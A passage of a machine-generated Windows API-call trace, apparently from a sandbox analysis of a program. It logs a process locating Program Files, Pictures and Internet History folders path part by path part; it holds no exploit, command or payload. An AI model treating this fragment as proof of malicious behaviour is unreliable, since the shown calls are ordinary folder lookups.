cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="program files (x86)", lpUsedDefaultChar=0x0) returned 19 [0091.652] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="common files", cchWideChar=12, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="common filess (x86)", lpUsedDefaultChar=0x0) returned 12 [0091.652] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.652] SysReAllocStringLen (in: pbstr=0x28f898*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f898*="c:\\") returned 1 [0091.652] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x28f584*="program files (x86)") returned 1 [0091.653] FindFirstFileW (in: lpFileName="c:\\program files (x86)", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0x75b520 [0091.653] FindNextFileW (in: hFindFile=0x75b520, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0 [0091.653] GetLastError () returned 0x12 [0091.653] FindClose (in: hFindFile=0x75b520 | out: hFindFile=0x75b520) returned 1 [0091.653] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f578*="c:\\Program Files (x86)") returned 1 [0091.653] SysReAllocStringLen (in: pbstr=0x28f898*="c:\\Program Files (x86)", psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x28f898*="c:\\Program Files (x86)\\") returned 1 [0091.653] SysReAllocStringLen (in: pbstr=0x28f584*="program files (x86)", psz="common files", len=0xc | out: pbstr=0x28f584*="common files") returned 1 [0091.653] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\common files", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21b2430, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa21b2430, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 0x75b520 [0091.653] FindNextFileW (in: hFindFile=0x75b520, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21b2430, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa21b2430, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 0 [0091.653] GetLastError () returned 0x12 [0091.653] FindClose (in: hFindFile=0x75b520 | out: hFindFile=0x75b520) returned 1 [0091.654] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Program Files (x86)\\", psz="c:\\Program Files (x86)\\Common Files", len=0x23 | out: pbstr=0x28f578*="c:\\Program Files (x86)\\Common Files") returned 1 [0091.654] SysReAllocStringLen (in: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files", psz="c:\\Program Files (x86)\\Common Files\\", len=0x24 | out: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files\\") returned 1 [0091.654] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Program Files (x86)\\Common Files\\", len=0x24 | out: pbstr=0x28f574*="c:\\Program Files (x86)\\Common Files\\") returned 1 [0091.654] SysReAllocStringLen (in: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files\\", psz="c:\\Program Files (x86)\\Common Files", len=0x23 | out: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files") returned 1 [0091.654] SysReAllocStringLen (in: pbstr=0x28f89c*=0x0, psz="c:\\Program Files (x86)\\Common Files", len=0x23 | out: pbstr=0x28f89c*="c:\\Program Files (x86)\\Common Files") returned 1 [0091.654] SysReAllocStringLen (in: pbstr=0x46060c*=0x0, psz="c:\\Program Files (x86)\\Common Files\\", len=0x24 | out: pbstr=0x46060c*="c:\\Program Files (x86)\\Common Files\\") returned 1 [0091.654] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 0x0 [0091.656] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", cchLength=0x26 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\pictures") returned 0x26 [0091.656] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\pictures", len=0x26 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\pictures") returned 1 [0091.656] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.656] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.656] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.656] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="pictures", len=0x8 | out: pbstr=0x470688*="pictures") returned 1 [0091.656] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.656] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.657] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="pictures", cchWideChar=8, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pictures0js halpmcxz", lpUsedDefaultChar=0x0) returned 8 [0091.657] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.657] SysReAllocStringLen (in: pbstr=0x28f88c*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f88c*="c:\\") returned 1 [0091.657] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.657] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75b828 [0091.657] FindNextFileW (in: hFindFile=0x75b828, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.657] GetLastError () returned 0x12 [0091.657] FindClose (in: hFindFile=0x75b828 | out: hFindFile=0x75b828) returned 1 [0091.657] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.657] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f88c*="c:\\Users\\") returned 1 [0091.657] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.658] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75b828 [0091.658] FindNextFileW (in: hFindFile=0x75b828, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.658] GetLastError () returned 0x12 [0091.658] FindClose (in: hFindFile=0x75b828 | out: hFindFile=0x75b828) returned 1 [0091.658] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.658] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.658] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="pictures", len=0x8 | out: pbstr=0x28f584*="pictures") returned 1 [0091.658] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\pictures", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa19f5cb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa19f5cb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 0x75b880 [0091.658] FindNextFileW (in: hFindFile=0x75b880, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa19f5cb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa19f5cb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 0 [0091.658] GetLastError () returned 0x12 [0091.658] FindClose (in: hFindFile=0x75b880 | out: hFindFile=0x75b880) returned 1 [0091.658] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", len=0x26 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0091.659] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", len=0x27 | out: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned 1 [0091.659] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", len=0x27 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned 1 [0091.659] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", len=0x26 | out: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0091.659] SysReAllocStringLen (in: pbstr=0x28f890*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", len=0x26 | out: pbstr=0x28f890*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0091.659] SysReAllocStringLen (in: pbstr=0x460610*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", len=0x27 | out: pbstr=0x460610*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned 1 [0091.659] SHGetFolderPathW (in: hwnd=0x0, csidl=34, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x0 [0091.661] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", cchLength=0x45 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history") returned 0x45 [0091.661] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history", len=0x45 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history") returned 1 [0091.661] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.661] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.661] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.661] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0091.661] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0091.662] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="microsoft", len=0x9 | out: pbstr=0x4706a0*="microsoft") returned 1 [0091.662] SysReAllocStringLen (in: pbstr=0x4706d0*=0x0, psz="windows", len=0x7 | out: pbstr=0x4706d0*="windows") returned 1 [0091.662] SysReAllocStringLen (in: pbstr=0x4706dc*=0x0, psz="history", len=0x7 | out: pbstr=0x4706dc*="history") returned 1 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localtan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoftjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="history", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="historyftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.663] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.663] SysReAllocStringLen (in: pbstr=0x28f880*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f880*="c:\\") returned 1 [0091.663] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.663] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75b7d0 [0091.663] FindNextFileW (in: hFindFile=0x75b7d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.663] GetLastError () returned 0x12 [0091.663] FindClose (in: hFindFile=0x75b7d0 | out: hFindFile=0x75b7d0) returned 1 [0091.663] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.663] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f880*="c:\\Users\\") returned 1 [0091.663] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.663] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75b7d0 [0091.664] FindNextFileW (in: hFindFile=0x75b7d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.664] GetLastError () returned 0x12 [0091.664] FindClose (in: hFindFile=0x75b7d0 | out: hFindFile=0x75b7d0) returned 1 [0091.664] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.664] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.664] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0091.664] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75bc90 [0091.664] FindNextFileW (in: hFindFile=0x75bc90, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0091.664] GetLastError () returned 0x12 [0091.664] FindClose (in: hFindFile=0x75bc90 | out: hFindFile=0x75bc90) returned 1 [0091.664] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0091.664] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0091.664] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="local", len=0x5 | out: pbstr=0x28f584*="local") returned 1 [0091.664] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x75bb20 [0091.665] FindNextFileW (in: hFindFile=0x75bb20, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0091.665] GetLastError () returned 0x12 [0091.665] FindClose (in: hFindFile=0x75bb20 | out: hFindFile=0x75bb20) returned 1 [0091.665] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0091.665] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0091.665] SysReAllocStringLen (in: pbstr=0x28f584*="local", psz="microsoft", len=0x9 | out: pbstr=0x28f584*="microsoft") returned 1 [0091.665] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\microsoft", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0x75bb20 [0091.665] FindNextFileW (in: hFindFile=0x75bb20, lpFindFileData=0x28f5b0 | 